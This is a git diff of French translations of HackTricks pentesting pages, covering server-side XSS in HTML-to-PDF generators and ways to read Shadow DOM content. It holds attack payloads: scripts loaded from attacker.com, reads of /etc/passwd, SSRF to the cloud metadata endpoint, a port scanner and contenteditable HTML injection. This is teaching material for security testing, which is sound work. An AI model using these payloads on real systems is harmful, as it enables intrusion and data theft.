Si une page web crée un PDF en utilisant une entrée contrôlée par l'utilisateur, vous pouvez essayer de **tromper le bot** qui crée le PDF pour qu'il exécute du **code JS arbitraire**.\
|
||||
Ainsi, si le **bot créateur de PDF trouve** des **balises HTML**, il va les **interpréter**, et vous pouvez **exploiter** ce comportement pour provoquer un **XSS côté serveur**.
|
||||
Si une page web crée un PDF en utilisant des entrées contrôlées par l'utilisateur, vous pouvez essayer de **tromper le bot** qui crée le PDF pour qu'il **exécute du code JS arbitraire**.\
|
||||
Ainsi, si le **bot créateur de PDF trouve** des **balises HTML**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **Server XSS**.
|
||||
|
||||
Veuillez noter que les balises `<script></script>` ne fonctionnent pas toujours, vous devrez donc utiliser une méthode différente pour exécuter du JS (par exemple, en abusant de `<img` ).\
|
||||
De plus, notez que lors d'une exploitation normale, vous pourrez **voir/télécharger le PDF créé**, vous pourrez donc voir tout ce que vous **écrivez via JS** (en utilisant `document.write()` par exemple). Mais si vous **ne pouvez pas voir** le PDF créé, vous devrez probablement **extraire les informations en effectuant des requêtes web vers vous** (en mode aveugle).
|
||||
Veuillez noter que les balises `<script></script>` ne fonctionnent pas toujours, donc vous aurez besoin d'une méthode différente pour exécuter du JS (par exemple, en abusant de `<img`).\
|
||||
Notez également que dans une exploitation régulière, vous serez **capable de voir/télécharger le pdf créé**, donc vous pourrez voir tout ce que vous **écrivez via JS** (en utilisant `document.write()` par exemple). Mais, si vous **ne pouvez pas voir** le PDF créé, vous aurez probablement besoin **d'extraire les informations en faisant une requête web vers vous** (Blind).
|
||||
|
||||
### Génération de PDF populaire
|
||||
|
||||
* **wkhtmltopdf** : _Il s'agit d'un outil en ligne de commande open source qui utilise le moteur de rendu WebKit pour convertir HTML et CSS en documents PDF._
|
||||
* **TCPDF**_: Une bibliothèque PHP pour générer des documents PDF qui prend en charge un large éventail de fonctionnalités, y compris les images, les graphiques et le chiffrement._
|
||||
* **wkhtmltopdf** : _C'est un outil en ligne de commande open source qui utilise le moteur de rendu WebKit pour convertir des documents HTML et CSS en documents PDF._
|
||||
* **TCPDF** : _Une bibliothèque PHP pour générer des documents PDF qui prend en charge une large gamme de fonctionnalités, y compris les images, les graphiques et le chiffrement._
|
||||
* **PDFKit :** _Une bibliothèque Node.js qui peut être utilisée pour générer des documents PDF à partir de HTML et CSS._
|
||||
* **iText** : _Une bibliothèque basée sur Java pour générer des documents PDF qui prend en charge un certain nombre de fonctionnalités, y compris les signatures numériques et le remplissage de formulaires._
|
||||
* **FPDF**_: Une bibliothèque PHP pour générer des documents PDF qui est légère et facile à utiliser._
|
||||
* **iText** : _Une bibliothèque basée sur Java pour générer des documents PDF qui prend en charge une gamme de fonctionnalités, y compris les signatures numériques et le remplissage de formulaires._
|
||||
* **FPDF** : _Une bibliothèque PHP pour générer des documents PDF qui est légère et facile à utiliser._
|
||||
|
||||
## Payloads
|
||||
|
||||
|
@ -45,7 +47,7 @@ De plus, notez que lors d'une exploitation normale, vous pourrez **voir/téléch
|
|||
```
|
||||
### SVG
|
||||
|
||||
L'un des précédents ou des charges utiles suivantes peut être utilisé à l'intérieur de cette charge utile SVG. Un iframe accédant au sous-domaine Burpcollab et un autre accédant au point de terminaison des métadonnées sont donnés à titre d'exemple.
|
||||
Tous les payloads précédents ou suivants peuvent être utilisés à l'intérieur de ce payload SVG. Un exemple avec un iframe accédant à un sous-domaine Burpcollab et un autre accédant au point de terminaison des métadonnées est présenté.
|
||||
```markup
|
||||
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
||||
<g>
|
||||
|
@ -70,7 +72,7 @@ alert(1);
|
|||
</script>
|
||||
</svg>
|
||||
```
|
||||
Vous pouvez trouver beaucoup **d'autres charges utiles SVG** dans [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
Vous pouvez trouver beaucoup **d'autres payloads SVG** sur [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
### Divulgation de chemin
|
||||
```markup
|
||||
|
@ -81,7 +83,7 @@ if not, you will at least have wich path the bot is accessing -->
|
|||
```
|
||||
### Charger un script externe
|
||||
|
||||
La meilleure façon de profiter de cette vulnérabilité est d'exploiter la vulnérabilité pour faire en sorte que le bot charge un script que vous contrôlez localement. Ensuite, vous pourrez modifier le payload localement et faire en sorte que le bot le charge avec le même code à chaque fois.
|
||||
La meilleure manière de tirer parti de cette vulnérabilité est d'abuser de celle-ci pour faire charger au bot un script que vous contrôlez localement. Ensuite, vous pourrez modifier le payload localement et faire charger au bot avec le même code à chaque fois.
|
||||
```markup
|
||||
<script src="http://attacker.com/myscripts.js"></script>
|
||||
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
||||
|
@ -89,9 +91,9 @@ La meilleure façon de profiter de cette vulnérabilité est d'exploiter la vuln
|
|||
### Lire un fichier local / SSRF
|
||||
|
||||
{% hint style="warning" %}
|
||||
Remplacez `file:///etc/passwd` par `http://169.254.169.254/latest/user-data` par exemple pour **essayer d'accéder à une page web externe (SSRF)**.
|
||||
Changez `file:///etc/passwd` par `http://169.254.169.254/latest/user-data` par exemple pour **essayer d'accéder à une page web externe (SSRF)**.
|
||||
|
||||
Si SSRF est autorisé, mais que vous **ne pouvez pas atteindre** un domaine ou une IP intéressante, [consultez cette page pour des contournements potentiels](../ssrf-server-side-request-forgery/url-format-bypass.md).
|
||||
Si le SSRF est autorisé, mais que vous **ne pouvez pas atteindre** un domaine ou une IP intéressante, [consultez cette page pour des contournements potentiels](../ssrf-server-side-request-forgery/url-format-bypass.md).
|
||||
{% endhint %}
|
||||
```markup
|
||||
<script>
|
||||
|
@ -127,26 +129,6 @@ xhzeem.send();
|
|||
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
|
||||
```
|
||||
### Délai du bot
|
||||
|
||||
Bots are automated programs that perform tasks on the internet. In the context of web security, bots can be used for various purposes, including scanning websites for vulnerabilities. However, when conducting a penetration test or security assessment, it is important to consider the impact of bot activity on the target system.
|
||||
|
||||
Les bots sont des programmes automatisés qui effectuent des tâches sur Internet. Dans le contexte de la sécurité web, les bots peuvent être utilisés à diverses fins, notamment pour scanner les sites web à la recherche de vulnérabilités. Cependant, lors de la réalisation d'un test de pénétration ou d'une évaluation de sécurité, il est important de prendre en compte l'impact de l'activité des bots sur le système cible.
|
||||
|
||||
Excessive bot activity can lead to various issues, such as server overload, increased network traffic, and potential disruption of normal operations. To mitigate these risks, it is recommended to introduce a delay in bot activity.
|
||||
|
||||
Une activité excessive des bots peut entraîner divers problèmes, tels qu'une surcharge du serveur, une augmentation du trafic réseau et une perturbation potentielle des opérations normales. Pour atténuer ces risques, il est recommandé d'introduire un délai dans l'activité des bots.
|
||||
|
||||
A bot delay is a mechanism that introduces a pause between each action performed by the bot. This delay can be implemented by adding a sleep function or using a timer to pause the bot for a specified period of time.
|
||||
|
||||
Un délai du bot est un mécanisme qui introduit une pause entre chaque action effectuée par le bot. Ce délai peut être mis en œuvre en ajoutant une fonction de pause (sleep) ou en utilisant un minuteur pour mettre en pause le bot pendant une période de temps spécifiée.
|
||||
|
||||
By introducing a delay, the bot activity becomes more human-like and reduces the chances of detection by security mechanisms. It also helps to prevent overwhelming the target system and allows it to handle the bot activity more effectively.
|
||||
|
||||
En introduisant un délai, l'activité du bot devient plus semblable à celle d'un humain et réduit les chances de détection par les mécanismes de sécurité. Cela permet également d'éviter de submerger le système cible et lui permet de gérer plus efficacement l'activité du bot.
|
||||
|
||||
The length of the delay should be determined based on the target system's capacity and the desired level of stealth. It is important to strike a balance between maintaining a realistic bot behavior and completing the desired tasks within a reasonable timeframe.
|
||||
|
||||
La durée du délai doit être déterminée en fonction de la capacité du système cible et du niveau de discrétion souhaité. Il est important de trouver un équilibre entre le maintien d'un comportement de bot réaliste et l'achèvement des tâches souhaitées dans un délai raisonnable.
|
||||
```markup
|
||||
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
|
||||
<script>
|
||||
|
@ -159,9 +141,7 @@ time += 500;
|
|||
</script>
|
||||
<img src="https://attacker.com/delay">
|
||||
```
|
||||
### Scan de port
|
||||
|
||||
Un scan de port est une technique utilisée pour identifier les ports ouverts sur un système informatique. Cela permet aux hackers de déterminer quels services sont en cours d'exécution sur une machine cible et de trouver des vulnérabilités potentielles. Le scan de port peut être effectué à l'aide d'outils automatisés tels que Nmap, qui envoie des paquets à différents ports pour voir lesquels répondent. Une fois les ports ouverts identifiés, les hackers peuvent utiliser ces informations pour planifier des attaques ciblées. Il est important de noter que le scan de port sans autorisation préalable est illégal et peut entraîner des conséquences juridiques.
|
||||
### Balayage de Ports
|
||||
```markup
|
||||
<!--Scan local port and receive a ping indicating which ones are found-->
|
||||
<script>
|
||||
|
@ -180,21 +160,19 @@ checkPort(i);
|
|||
```
|
||||
### [SSRF](../ssrf-server-side-request-forgery/)
|
||||
|
||||
Cette vulnérabilité peut être facilement transformée en SSRF (car vous pouvez faire charger au script des ressources externes). Essayez simplement de l'exploiter (lire des métadonnées ?).
|
||||
Cette vulnérabilité peut être transformée très facilement en SSRF (car vous pouvez faire charger des ressources externes par le script). Essayez donc de l'exploiter (lire des métadonnées ?).
|
||||
|
||||
### Pièces jointes : PD4ML
|
||||
|
||||
Il existe des moteurs HTML vers PDF qui permettent de **spécifier des pièces jointes pour le PDF**, comme **PD4ML**. Vous pouvez abuser de cette fonctionnalité pour **attacher n'importe quel fichier local** au PDF.\
|
||||
Pour ouvrir la pièce jointe, j'ai ouvert le fichier avec **Firefox et double-cliqué sur le symbole trombone** pour **enregistrer la pièce jointe** en tant que nouveau fichier.\
|
||||
Capturer la **réponse PDF** avec Burp devrait également **afficher la pièce jointe en texte clair** à l'intérieur du PDF.
|
||||
Il existe des moteurs de conversion HTML en PDF qui permettent de **spécifier des pièces jointes pour le PDF**, comme **PD4ML**. Vous pouvez abuser de cette fonctionnalité pour **joindre n'importe quel fichier local** au PDF.\
|
||||
Pour ouvrir la pièce jointe, j'ai ouvert le fichier avec **Firefox et j'ai double-cliqué sur le symbole du trombone** pour **enregistrer la pièce jointe** en tant que nouveau fichier.\
|
||||
La capture de la **réponse PDF** avec Burp devrait également **montrer la pièce jointe en texte clair** à l'intérieur du PDF.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```html
|
||||
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
|
||||
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Références
|
||||
|
||||
* [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
|
||||
|
@ -204,12 +182,14 @@ Capturer la **réponse PDF** avec Burp devrait également **afficher la pièce j
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,43 +2,45 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Informations de base
|
||||
|
||||
Shadow DOM fait partie de la suite de fonctionnalités [Web Components](https://developer.mozilla.org/en-US/docs/Web/Web\_Components), qui vise à permettre aux développeurs JS de créer des éléments personnalisés réutilisables avec leur fonctionnalité encapsulée loin du reste du code du site web.
|
||||
Le Shadow DOM fait partie de la suite de fonctionnalités [Web Components](https://developer.mozilla.org/en-US/docs/Web/Web\_Components), qui vise à permettre aux développeurs JS de créer des éléments personnalisés réutilisables avec leur fonctionnalité encapsulée loin du reste du code du site web.
|
||||
|
||||
Essentiellement, vous pouvez utiliser le Shadow DOM pour **isoler le HTML et le CSS de votre composant du reste de la page web**. Par exemple, si vous créez des identifiants d'éléments dans un Shadow DOM, ils **ne seront pas en conflit avec les identifiants d'éléments dans le DOM parent**. Tous les sélecteurs CSS que vous utilisez dans votre Shadow DOM s'appliqueront uniquement dans le Shadow DOM et non dans le DOM parent, et tous les sélecteurs que vous utilisez dans le parent ne pénétreront pas dans le Shadow DOM.
|
||||
Essentiellement, vous pouvez utiliser le Shadow DOM pour **isoler le HTML et le CSS de votre composant du reste de la page web**. Par exemple, si vous créez des identifiants d'éléments dans un shadow DOM, ils **ne seront pas en conflit avec les identifiants d'éléments dans le DOM parent**. Tous les sélecteurs CSS que vous utilisez dans votre shadow DOM s'appliqueront uniquement dans le shadow DOM et non au DOM parent, et tous les sélecteurs que vous utilisez dans le parent ne pénétreront pas dans le shadow DOM.
|
||||
```js
|
||||
// creating a shadow DOM
|
||||
let $element = document.createElement("div");
|
||||
$shadowDomRef = $element.attachShadow({ mode: "open" }); // open or closed
|
||||
```
|
||||
Normalement, lorsque vous attachez un **shadow DOM "ouvert" à un élément**, vous pouvez obtenir une référence au shadow DOM avec **`$element.shadowRoot`**. Cependant, si le shadow DOM est attaché en mode **"fermé"**, vous **ne pouvez pas obtenir de référence** de cette manière. Même après avoir lu toute la documentation des développeurs que j'ai pu trouver, je ne suis toujours pas tout à fait clair sur le but du mode fermé. [Selon Google](https://developers.google.com/web/fundamentals/web-components/shadowdom):
|
||||
Normalement, lorsque vous attachez un **"open" shadow DOM à un élément**, vous pouvez obtenir une référence au shadow DOM avec **`$element.shadowRoot`**. Cependant, si le shadow DOM est attaché en mode **"closed"**, vous **ne pouvez pas obtenir de référence** de cette manière. Même après avoir lu toute la documentation pour développeurs que j'ai pu trouver, je ne suis toujours pas tout à fait clair sur le but du mode closed. [Selon Google](https://developers.google.com/web/fundamentals/web-components/shadowdom) :
|
||||
|
||||
> Il existe une autre variante de shadow DOM appelée mode "fermé". Lorsque vous créez un arbre de shadow fermé, **le JavaScript externe ne pourra pas accéder au DOM interne de votre composant**. C'est similaire au fonctionnement des éléments natifs tels que `<video>`. JavaScript ne peut pas accéder au shadow DOM de `<video>` car le navigateur l'implémente en utilisant un shadow root en mode fermé.
|
||||
> Il existe une autre variante de shadow DOM appelée mode "closed". Lorsque vous créez un arbre shadow **closed**, **le JavaScript extérieur ne pourra pas accéder au DOM interne de votre composant**. Cela est similaire à la façon dont fonctionnent les éléments natifs comme `<video>`. Le JavaScript ne peut pas accéder au shadow DOM de `<video>` car le navigateur l'implémente en utilisant une racine shadow en mode closed.
|
||||
|
||||
Cependant, ils précisent également:
|
||||
Cependant, ils déclarent également :
|
||||
|
||||
> Les shadow roots fermés ne sont pas très utiles. Certains développeurs considéreront le mode fermé comme une **fonctionnalité de sécurité artificielle**. Mais soyons clairs, ce n'est **pas** une fonctionnalité de sécurité.
|
||||
> Les racines shadow closed ne sont pas très utiles. Certains développeurs verront le mode closed comme une **fonctionnalité de sécurité artificielle**. Mais soyons clairs, ce **n'est pas** une fonctionnalité de sécurité.
|
||||
|
||||
## Accéder au Shadow DOM
|
||||
|
||||
### window.find() et les sélections de texte <a href="#introducing-windowfind-and-text-selections" id="introducing-windowfind-and-text-selections"></a>
|
||||
### window.find() et sélections de texte <a href="#introducing-windowfind-and-text-selections" id="introducing-windowfind-and-text-selections"></a>
|
||||
|
||||
La fonction **`window.find("texte_recherché")` pénètre à l'intérieur d'un shadow DOM**. Cette fonction a essentiellement la même fonctionnalité que ctrl-F sur une page web.
|
||||
La fonction **`window.find("search_text")` pénètre à l'intérieur d'un shadow DOM**. Cette fonction a effectivement la même fonctionnalité que ctrl-F sur une page web.
|
||||
|
||||
Il est possible d'appeler **`document.execCommand("SelectAll")`** pour étendre la sélection autant que possible, puis d'appeler **`window.getSelection()`** pour **retourner le contenu** du texte sélectionné à l'intérieur du shadow DOM.
|
||||
Il est possible d'appeler **`document.execCommand("SelectAll")`** pour étendre la sélection autant que possible puis d'appeler **`window.getSelection()`** pour **retourner le contenu** du texte sélectionné à l'intérieur du shadow DOM.
|
||||
|
||||
Dans **firefox**, vous pouvez utiliser `getSelection()` qui renvoie un objet [Selection](https://developer.mozilla.org/en-US/docs/Web/API/Selection), où `anchorElement` est une **référence à un élément dans le shadow DOM**. Ainsi, nous pouvons exfiltrer le contenu du shadow DOM de la manière suivante:
|
||||
Dans **firefox**, vous pouvez utiliser `getSelection()` qui retourne un objet [Selection](https://developer.mozilla.org/en-US/docs/Web/API/Selection), où `anchorElement` est une **référence à un élément dans le shadow DOM**. Ainsi, nous pouvons exfiltrer le contenu du shadow DOM comme suit :
|
||||
```js
|
||||
getSelection().anchorNode.parentNode.parentNode.parentNode.innerHTML
|
||||
```
|
||||
|
@ -46,21 +48,21 @@ Mais cela ne fonctionne pas dans Chromium.
|
|||
|
||||
### contenteditable ou injection CSS <a href="#contenteditable-or-css-injection" id="contenteditable-or-css-injection"></a>
|
||||
|
||||
Une façon dont nous pourrions interagir avec le shadow DOM est si nous avons une **injection HTML ou JS à l'intérieur de celui-ci**. Il existe des situations intéressantes où vous pouvez obtenir une injection dans un shadow DOM où vous ne pourriez pas le faire sur une page normale avec crossorigin.
|
||||
Une manière dont nous pourrions interagir avec le shadow DOM est si nous avons une **injection HTML ou JS à l'intérieur de celui-ci**. Il existe des situations intéressantes où vous pouvez obtenir une injection au sein d'un shadow DOM alors que cela ne serait pas possible sur une page crossorigin normale.
|
||||
|
||||
Un exemple est si vous avez des **éléments avec l'attribut `contenteditable`**. Il s'agit d'un attribut HTML obsolète et peu utilisé qui déclare que le **contenu de cet élément peut être modifié par l'utilisateur**. Nous pouvons utiliser des sélections ainsi que l'API **`document.execCommand`** pour interagir avec un élément contenteditable et obtenir une injection HTML !
|
||||
Un exemple est si vous avez des **éléments avec l'attribut `contenteditable`**. C'est un attribut HTML déprécié et peu utilisé qui déclare que **le contenu de cet élément peut être édité par l'utilisateur**. Nous pouvons utiliser des sélections avec l'API **`document.execCommand`** pour interagir avec un élément contenteditable et obtenir une injection HTML !
|
||||
```js
|
||||
find('selection within contenteditable');
|
||||
|
||||
document.execCommand('insertHTML',false,'<svg/onload=console.log(this.parentElement.outerHTML)>')
|
||||
```
|
||||
Peut-être encore plus intéressant, **`contenteditable`** peut être déclaré sur n'importe quel élément dans chromium en appliquant une propriété CSS obsolète : `-webkit-user-modify:read-write`
|
||||
Peut-être encore plus intéressant, **`contenteditable`** peut être déclaré sur n'importe quel élément dans chromium en appliquant une **propriété CSS obsolète : `-webkit-user-modify:read-write`**
|
||||
|
||||
Cela nous permet de **élever une injection CSS/style en une injection HTML**, en ajoutant la propriété CSS à un élément, puis en utilisant la commande `insertHTML`.
|
||||
Cela nous permet de **transformer une injection CSS/style en une injection HTML**, en ajoutant la propriété CSS à un élément, puis en utilisant la commande `insertHTML`.
|
||||
|
||||
## CTF
|
||||
|
||||
Consultez cette solution où cette technique a été utilisée comme défi CTF : [https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md](https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md)
|
||||
Consultez ce writeup où cette technique a été utilisée comme défi CTF : [https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md](https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md)
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -68,12 +70,14 @@ Consultez cette solution où cette technique a été utilisée comme défi CTF :
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,33 +1,37 @@
|
|||
# Fuite de Sniff
|
||||
# Fuite par Sniff
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
